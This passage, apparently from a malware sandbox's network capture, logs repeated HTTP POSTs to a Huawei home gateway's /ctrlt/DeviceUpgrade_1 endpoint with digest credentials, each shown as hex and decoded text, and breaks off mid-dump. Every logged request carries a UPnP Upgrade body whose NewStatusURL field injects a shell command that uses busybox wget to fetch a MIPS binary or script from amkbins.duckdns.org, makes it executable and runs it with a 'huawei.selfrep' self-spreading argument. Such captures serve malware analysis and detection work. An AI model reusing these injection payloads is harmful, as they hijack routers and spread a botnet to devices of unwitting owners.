70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: GET Data Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 